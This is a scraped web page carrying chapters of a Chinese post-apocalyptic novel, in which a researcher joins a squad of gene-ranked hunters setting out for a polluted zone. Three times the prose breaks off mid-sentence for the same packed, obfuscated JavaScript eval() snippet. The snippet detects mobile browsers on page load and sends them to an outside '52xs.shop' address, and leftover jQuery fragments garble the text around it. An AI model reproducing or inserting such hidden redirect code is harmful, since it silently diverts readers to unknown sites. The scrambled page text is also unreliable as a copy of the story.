;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13759059|144448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “成天帮外人拆我台?” 施如没说话,沉默地坐回位子上,看向窗外。 车内的氛围骤然变得很安静。 梁燃想着刚才季婵主动跟自己说话了,于是起身弯腰凑近了对方的座位,在她耳后方轻声说。 “我是梁燃,以后会负责玄星小队在执行任务期间的异种记录和作战方案。” 季婵侧过头,盯住了梁燃。 她一言不发的时候,嘴巴抿成一条缝,眉心也紧皱,整个人看起来有种不符合年龄的阴沉和凶狠。 梁燃瞬间就想起她的身份——两个多月前还是三等公民。 从季婵的身高体型来看,她不仅是三等公民,还是活得最艰难的那种。因为身体亏虚,短时间的好吃好喝没让她长出多少肉,依然面黄肌瘦。 “管好你自己。”片刻,季婵拒绝了梁燃。 “别连累死大家就是你的贡献。” 梁燃不知道这算不算一种另类的关照,也不好想太多,于是“哦”了声,坐回了座位。 时间飞速地流逝,很快就到了八点十分。 梁燃看了眼时间,问巫若子:“不是八点开车吗?” 巫若子:“话是这样啦,但小队成员不到齐的话,车是不会开的。” 梁燃了然地点点头。 又等了两分钟,小队最后一个成员终于姗姗来迟。 随月生拎着药箱懒散地穿过廊道,车门在他身后轰然关上,车子缓缓行驶起来。 男生走到队伍所在的区域后,扫视了一圈,垂下眼,有些可惜地问道:“怎么这么安静,刚打完?” 没一个人理他。 他恹恹地继续道,“没看到难受死我了,能不能再打一场啊?” 宋神爱朝他呸了一声,“成天贱兮兮的,不说话没人当你哑巴。” 随月生顿时笑起来,他哼着歌往梁燃这边走来。 梁燃抬起头,咽下嘴里最后一口团子,与随月生对视上了。 来人一头黑色长发,束着高马尾,身姿挺拔,皮肤很白,五官也格外漂亮,眉目流转间,桃花眼看谁都觉得深情。 但他长得有多好看,嘴里吐出的话就有多招人嫌。 “你就是新来的那个研究员吧,看起来比之前那个能活。” 玄星小队上个随行研究员刚死不久,梁燃知道这点,并且知道对方具体是怎么死的。 她看了随月生几秒,收回视线,但随月生十分自来熟地坐在了她的身后, “想知道上个研究员是怎么死的吗?” 梁燃:“不想。” 但随月生没管她的拒绝,自顾自地说道:“我们上次抓的人鱼变异种特别狡猾,你知道裂口人鱼吧?这个异种明明看起来蠢得可怜,竟然还会装死,那个研究员以为它死了,不顾我们阻拦就直接走过去——” 梁燃接上了他的话:“于是他被异种卷进胸腔里,上百只牙齿齐齐咀嚼,把他瞬间磨成了碎沫。异种吃得很过瘾,还把肉沫往人身上喷。” 随月生恐吓般的话戛然而止。 梁燃皱着眉,像是在回忆。 “不过我忘了它把肉沫喷到谁身上了,你知道吗?” 13.013 梁燃在解剖裂口人鱼时,看过玄星小队的对战视频。 当时在捕捉时,他们遇到了三只人鱼变异种,一只被活捉带回,一只弄脏了宋神爱的衣服,被她暴怒打死,一只装死吃掉了靠近的研究员,最后又被宋神爱砸死。 而第三只在进食时,把肉末喷到了随月生身上。 虽然对战视频里没有露出随月生的脸,但梁燃确定自己听到他气急败坏的声音了。 听到梁燃的话,随月生的脸黑了一下。 梁燃:“我记得他还叫了一声,也不知道是不是听错了。你就在现场,你记得是谁吗?” 随月生低下头,与梁燃对视道:“这不是很要紧吧?” 梁燃靠在椅背上,认真回:“那我知不知道上个研究员是怎么死的,应该也不是很要紧?” 随月生笑起来:“我觉得重要啊。” 梁燃:“我也觉得我的问题很重要。” “作为随行研究员,我觉得非常有必要确认这个信息,毕竟胆子小的队员可能不适合与异种正面对抗。” “所以是谁呢?”她求知若渴地看向随月生。 随月生没第一时间给出回应,梁燃等了会儿,无奈地叹了口气。 “忘记了也没关系,”梁燃退让一步,“随你。” “都随你。” 除非必要,梁燃不会与这群特权阶级发生正面冲突。 她刚才的问话可以说是挑衅,也可以说是正常询问,细究起来完全没有错,所以想说就说了,毕竟她还有个间歇性极具攻击性的人设在。 随月生没在梁燃这里寻到乐子,又恢复了那种恹恹无聊的神态。 他承认道:“是我是我。” “洁癖而已,再说我只是个医生,力气小得很,打异种这种体力活会累死我的。” 说完他就坐回到座位上,把医药箱放在脚边,从背包里拿出本子和笔写写画画的,也不知道是不是在画圈诅咒她。梁燃注意着身后的动静,觉得对方应该暂时不会再拿她过嘴瘾,于是闭上眼睛,想要假寐一会儿。 但她还没休息几分钟,脚踝处就猝不及防传来毛茸茸的触感,紧接着膝盖上一沉,像是有什么东西跳了上来。 梁燃警惕地睁开双眼,视线向下看去。 此时此刻,一只毛绒绒巴掌大小的小黑猫正蹲在她的膝盖上,两只小爪子并拢放在身前,像是在揣手手。 见梁燃终于发现它了,小猫瞬间歪歪脑袋,瞪圆了一双无辜的蓝眼睛,冲她奶声奶气地叫了一声。 “喵~” 什么可爱东西! 但很快梁燃就戒备起来,她当即把手往袖子里缩了缩,第一时间保护住了自己的手。她怀疑这是潜入车里的新异种,很可能是轨车昨天回城的时候带回来的,因为这异种的某种能力,所以并没有被检查人员发现。 毕竟谁规定可爱小东西就不能是异种了,梁燃以前就解剖过外表极可爱的小鸟,那只鸟长了十二根舌头,吃了不下三个人。 巫若子注意到梁燃这边的动静,连忙探过脑袋,惊喜道:“祝福!你怎么跑出来啦?” 语气十分熟稔,显然是知道这只小猫。 梁燃放松了绷紧的脊背,问道:“这是你的?” “我的。”随月生不知道什么时候又回到梁燃面前。 他伸手把她膝盖上的小猫捞起来,塞进自己怀里,但那只叫祝福的小黑猫在他怀里奋力扭了扭,小短腿一蹬,又跳回梁燃怀里。 “喵!” 它再次发出撒娇的喵喵声,十分自来熟地露出雪白的肚皮给梁燃摸。 梁燃看了随月生一眼,觉得他顺眼了不少:“我能摸一下吗?” 小猫催促地赶紧叫了几声。 “不能,”随月生再次把小猫捞回来,拎着它的后颈肉把它强硬地塞回背包,他用几人都能听到的声音叮嘱道,“小猫咪不能跟讨厌鬼玩,知道吗?” “很容易被传染的。” “很”字被他特意拉长,暗示性十足。梁燃无语地移开视线,她没被攻击到,只觉得对方脑子像是没长健全。 随月生安生后,梁燃问巫若子:“他多大?” 巫若子回忆了一下,低声回:“二十二…二十三吧?” “看不出来。”梁燃又问道,“你呢?” 巫若子:“我上个月刚满十八岁。” 她主动说起其他人的年龄:“神爱二十一岁,施如姐二十九,队长十三岁。” 梁燃点点头。 听起来分外违和的一个年龄分布。 违和点就在于季婵的年龄实在太小了,结果又是队长,难免不服众。从外形和性格来看,季婵应该不是那类父母或者兄弟姐妹是一二等公民,只有自己运气不好才没出现基因变异的人。 她的父母大概率都是三等公民,季婵自小在外城长大,甚至是在外城贫民窟长大。 外城是个什么地方梁燃很了解,那里生存空间极窄,什么都靠抢,能活下来已经很不易。如此情况下,季婵的心性肯定要比内城的同龄人要强大的多,但领导几个年龄比她大一圈的人,还是十分艰难。 所以目前在队伍里实际主事的应该是年纪最大的施如。 不过这不是梁燃目前该关心的,她现在的心力只够考虑自己。 她问起其他问题:“那只猫是怎么回事?” “不会耽误猎杀任务吗?” “不会的,祝福特别有用,你别看它长得小,但已经两岁啦,”巫若子认真解释道,“它是宣姨特意训练过的猫,哦你应该不清楚,宣姨是随月生的母亲,基因等级和队长一样,都是S级。” “我的感知变异方向是视觉,可以看到两百米范围内很小的异种,但更远的就看不到了,祝福嗅觉的探测范围要更远,能闻到五百米外的微弱血腥味,并且做出预警反应。” 猎杀者执行任务的时候,大家是没办法时时刻刻都戴着望远镜的,所以可以实时观测的巫若子就很有用,目前主城研究出的气味检测仪的检测范围也只有三百米,相比之下,祝福确实更具有保障性。 它和巫若子是这个队伍在预警方面的双重保障。 巫若子以为梁燃还在担心,连忙补充道:“不要担心,祝福虽然有时候调皮些,但真遇到危险跑得超快,可会躲了,”她举起例子,“上次我们一下子遇到三条裂口人鱼,它就躲得我们谁都找不到,最后还是…呃,还是队长钻到车底下,从车轮下面的小土坑里把它挖出来的。” 梁燃想到那个画面,忍不住笑了下:“这样啊。” 巫若子也笑着晃了晃脑袋。 “你笑得真好看,”她夸赞道,“我还以为你和施如姐一样不会笑呢,表情都酷酷的。” 梁燃礼貌性地道了声谢,没再接话。 她自始至终都觉得巫若子这个一等公民很怪,实在太温和热情了。梁燃之前遇到过的唯一一个这么对她的高基因公民,只是为了曝光和她的相处细节,在交友圈里多一些可笑的社交话题。 那会儿梁燃刚穿来不久,对阶级鄙视链还不是很清晰,所以落入了交友圈套,但这会儿她已经百毒不侵,绝对不会冒险信任任何一个特权阶级,让自己成为笑话。 半小时后,车子的速度逐渐变慢,目的地快到了。 梁燃睁开眼睛,往外看去,此时车子正穿梭在外城,外城的景象与内城截然不同,狭窄的街道上满是飞舞的垃圾,断了半截的电线,东倒西歪的售卖机,灰头土脸的小孩子。 街道两旁竖立着一栋栋十几层楼高的灰色建筑,但整栋楼体并不高,上下窗子挨得极近,每层楼都只有薄薄一层,让人怀疑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13770012|144448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住在其中的人是否能直起腰。 临近希望区边缘的时候,楼高变得更低,楼层却更多了,每层楼都像一个方方正正的棺材,车子穿梭间,梁燃看到有个憔悴的女人正弓着腰从楼洞里走出,身上挂着一块白布。 凉风吹起,露出了白布下枯瘦如柴的小脚丫。 梁燃迅速收回视线,往一旁的空地看去。 即使已经看过很多次,梁燃依旧不愿意多看死去的小孩子。与梁燃的动作相反,她座位前的季婵死死盯着那个方向,不知道在想些什么。 直到彻底看不到那个女人了,季婵才骤然低下头。 宋神爱注意到季婵的动作,讥诮地哼了一声,她骄横道:“有的人不仅长得像下等人,还特别爱看。” “我可发现你偷看三等民好几次了,真那么好奇不如就自请降等级,在外城当爬虫,正好也不用再出任务。” 听到宋神爱的话,季婵凶狠地瞪了她一眼,嘴唇动了动,却罕见地没有与对方对呛。 宋神爱当即挑起眉,这种情况可太少见了,她必须要乘胜追击。 结果刚要开口,施如冰冷的声线就打断了她:“宋神爱,大主教的话你又忘了?” “季婵是队长,猎杀者法令的首要守则就是尊重队长。” “另外,”施如继续往下说,“大主教刚才让我提醒你,S级和B+级的基因差距,可能比一等公民与三等公民的差距还要大。” “你的基因一直让他很失望。” 宋神爱的脸色瞬间煞白。 车内的气氛忽然变得极为紧张,随月生事不关己地靠在椅背上,嘴角含笑,手指时不时搓着小黑猫的下巴,巫若子焦急地绞着手,拼命打量几人的神态。 这时伴随着一道悠长的轰鸣声。 历经半个小时,车子终于缓缓在希望区边缘停下。 巫若子松了口气,快速道:“那,那个…车子停啦,我们赶紧下车吧!” 施如第一个起身,紧接着是季婵,随月生也慢悠悠地站起身,巫若子碰了碰梁燃的胳膊:“我们走吧?” 梁燃“嗯”了一声,拎起背包跟着巫若子下了车。 刚下车,一阵似有若无的血腥味就扑面而来,一队巡逻队成员正在数百米高的灰墙下进行工作日常,见几人下了车,领头的男人当即快步走了过来。 季婵把自己的胸章递给对方,男人恭敬地双手接过,拿着它在手腕处的仪器上扫过。 “滴——” “玄星小队队长季婵扫描成功。” 男人仔细看过系统扫描出来的信息,确认道:“这是玄星小队第三次执行任务,任务目的地是荒原边缘的红月污染3区,目标是找到污染区某处废弃商场下的防空洞,带回可以治疗精神疾病的A类药剂。” 季婵:“是这个任务。” 男人点点头,把一张白金色的磁卡递给季婵:“具体路线和地点总部会马上发给你们。” “这是装甲车的启动芯片,车里的燃料可以支撑四天,务必注意安全,早去早回。” 说罢男人转过身,挥了下手示意开门。 很快高墙下的大门就缓缓打开,一辆黑色的装甲车停在大门前方,正等待着下一批乘客。 季婵率先往车的方向走去。 梁燃不紧不慢地跟在最后,视线越过庞大的黑色车体,看向远处一望无际的深红色荒原。因为城墙五十米内不允许非猎杀者小队的人员靠近,所以这是她第二次来到这个地方。 梁燃无数回忆迅速回涌,有刚刚苏醒茫然失措的,有穿越污染区惊悚恐惧的,也有被枪指着崩溃难言的。 最后思绪回笼,她只觉得这个地方很安静。 冷冽的风好像卷着数不清的亡魂,轻拂到她脸上。 很悲怆,注定有很多故事。 14.014(入v通知) 装甲车的外形很像旧世界的越野车,由军部专门设计改造,外表极为坚硬,能扛住数分钟巨型异种的撞击和踩踏,内部设有两门中型口径火炮以及多挺机枪,可以最大程度保护猎杀者们的安全。 到车子跟前了,季婵把启动芯片递给施如,施如熟练地接过,拉开驾驶位的车门,把芯片卡插进了方向盘侧面的卡槽里。 三秒后,代表“启动成功”的绿灯亮起。 施如确定完表盘数据,对着大家点了下头,“没问题,上车吧。” 说罢她就坐上了主驾驶,季婵也拉开副驾驶的门,把武器箱举高,放在了头顶的放置架上。车子内部空间适中,有六个座位,除了正副驾驶位外,其余四个座位分为两排两列,每个人的座位都是单独的,并不能挨着坐。 玄星小队先前已经出过两次任务,所以各自都有安排好的固定座位,宋神爱和随月生刚上车就分别走向第一排两侧,坐好后,两人没有任何交流,一人戴上耳塞假寐,一人拿着肉干逗怀里的小猫。 直到巫若子在第二排左侧落座,梁燃才走向最后一个空位。 她把背包放在脚边,调整了个舒服的坐姿,系好安全带。 很快车子就启动起来,主城的人造太阳可以照亮整片荒原,再加上这里寸草不生,没有任何遮蔽物,所以光线极为刺眼。施如一边开车,一边放下四周的挡光板,几分钟后,她微微偏头,点开了车子中央的操控屏。 片刻,一首没有歌词的歌在车内响起。 梁燃知道这首曲子,创作者是主城有名的青年音乐家,听说已经连续五年给音乐节唱开场。 歌曲的音调干净又温柔,像清晨消食后做的一场瑜伽,并不激情澎湃,但很让人放松。 梁燃的手指忍不住跟着节奏轻轻敲击膝盖,听完整首曲子后,她轻舒了口气,思考起现在的自己该干些什么。 希望区的位置很特殊,并不是在荒原边缘,而是荒原中央偏西的位置上,所以如果有人站在希望区四面的高墙上往外看,就会发现希望区的四面八方全是望不到尽头的荒土。 梁燃当初是在污染1区醒来的,也就是荒原最西部,那是地理位置上最靠近希望区的边缘污染区,因此她刚走出污染区不久,就远远看到了若隐若现的高墙。 那感觉就像站在城市中央看城市边缘的山丘,虽然知道还有很远,但总觉得就在眼前,伸手就能碰到。梁燃那会儿就是凭着这个信念,在用十几个小时走出污染区后,又拼命走了一天多,终于临近希望区脚下。 而现在玄星小队要去的地方是污染3区,这个区域位在荒原最东部,与污染1区的方向完全相反,也是距离希望区最远的边缘污染区。但梁燃看了眼不远处的表盘,发现即使再远,按照施如的行车速度,夜晚降临前他们也能赶到目的地。 到时队伍应该会在荒原边缘休息一晚,再加上荒原内部很少有危险,所以最起码到明早,梁燃都大概率没有履行自己职责的机会。 所以现在可以放松些。 思绪结束,梁燃摸索了会儿椅子,找到摁钮,把椅子放倾斜,舒适地半躺在车椅上,专心观察起窗外的荒原。 荒原单调的光景在梁燃眼前飞快掠过,这里的景象与她印象里的大差不差—— 深红色的土,半埋在土里的破碎衣料,以及散落在各处的枪械零件。 梁燃看了半天,发现唯一的差别只在土壤。荒原的土壤愈发得红了,甚至红得隐隐发黑。 很快梁燃就彻底腻歪,她收回视线,抬头扫视了圈车内,发现除了施如外,所有人这会儿都在看着手腕处的通讯仪,不知道在做什么。 梁燃想起自己的通讯仪今早刚充好电,还没开机,所以当即打开,想找个论坛看看新闻打发时间。 结果刚登陆账号,她的后台就接连跳出几条消息。 ——“您所在的小队向您发来消息,请及时查看。” 梁燃挑了下眉,因为系统没发给她队伍号,所以她先前并没有加任何有关玄星小队的群。 所以是系统自动把她拉进群了? 梁燃点开后台消息,把信息迅速上滑,迅速找到了她进群后的第一条消息。 【季婵邀请梁燃进入群聊,大家快来聊天吧!】 S级公民在主城内拥有数不清的特权,其中就有无视其他等级公民意愿,直接加人好友、拉人进群的权力。 梁燃退出群聊看了眼,发现自己的好友列表平白多了一人,正是季婵。 五分钟前,季婵对她发了条消息。 【你要进群么?】 四分钟前,季婵失去耐心。 【拉了,进了。】 梁燃:“……” 她有点想笑,但想想季婵就在前面不远处,还是憋住了。 梁燃点开群聊,想看看大家在说些什么,如果没想错,她这会儿刚进群,他们应该是在聊她。 果不其然。 梁燃刚翻到最上面,就看到系统提示下,紧接着跟了几条。 【宋神爱:这谁?不会是梁燃吧??】 【季婵:看不到系统提示上的名字?瞎了?】 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13777524|144448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 【宋神爱:我就是确定一下!季婵你也是饿了,什么人都放,呸!】 【季婵:随地吐痰,弱智行为。】 【宋神爱:傻叉。】 【季婵:傻叉。】 好像不是在骂我? 梁燃思忖半秒,确定了这点,继续往后看。 【随月生:拉进来好,大家都有意思。】 【宋神爱:贱人闭嘴。】 梁燃:好像还是没在骂我。 继续看。 随月生:【宋神爱你憋住,祝福最讨厌狗了。】 宋神爱:【?】 季婵:【随月生你教我骂人,我帮你揍宋神爱。】 随月生:【天呐,说谁骂人呢,你可别冤枉我。】 梁燃:“……” 她迅速往下拉消息,发现以下十几条全是三人混骂,简单归纳一下,就是宋神爱逮谁怼谁,季婵毫不示弱,随月生煽风点火。 看完最后一条消息,梁燃已经彻底忘了自己刚才是为什么想看群聊的了。 想了一会儿,梁燃想起来了。 她是想看这群人骂没骂人来着,就是…骂倒是骂了,但好像一直没在骂她啊。 梁燃抓了下头,关闭了通讯仪。 她很清楚,这时千万不能插入话题,要不他们闻着味就来了。 结果这边梁燃刚退出,那边低头发消息的随月生就突然转头看了她一眼。 梁燃心道不好,避免了对视,缓缓把脸转向窗外。 随月生唇角一弯,又把头转了回去。 几秒后,梁燃的通讯屏幕忽然亮起,跳出了几条消息。 【随月生:别吵了都别吵了,再吵新人就被吓跑了。】 【随月生:为了欢迎新人的到来,咱们打个赌玩玩呗?】 【宋神爱:贱人闭嘴。】 梁燃尽力无视了宋神爱怼随月生的话,直接回道:【大可不必。】 梁燃刚回完消息,祝福就吐出嘴里的肉干,跳到随月生头上,大力蹦了好几下,像是在谴责主人出的馊主意,然后两腿一蹬,毛毛都舒展开,软乎乎扑进了梁燃怀里。 随月生被踹得身子前扑,忍不住“嘶”了一声。 片刻,他抬起身子,熟练地一伸胳膊,把祝福从梁燃怀里捞回来,然后黑着脸低头快速摁了好几下通讯器。 提示消息在屏幕上闪过,梁燃低头看去—— 【随月生:祝福对别人都是假喜欢。】 【随月生:咱们就赌梁燃这次任务可以活多久吧,有人压吗?】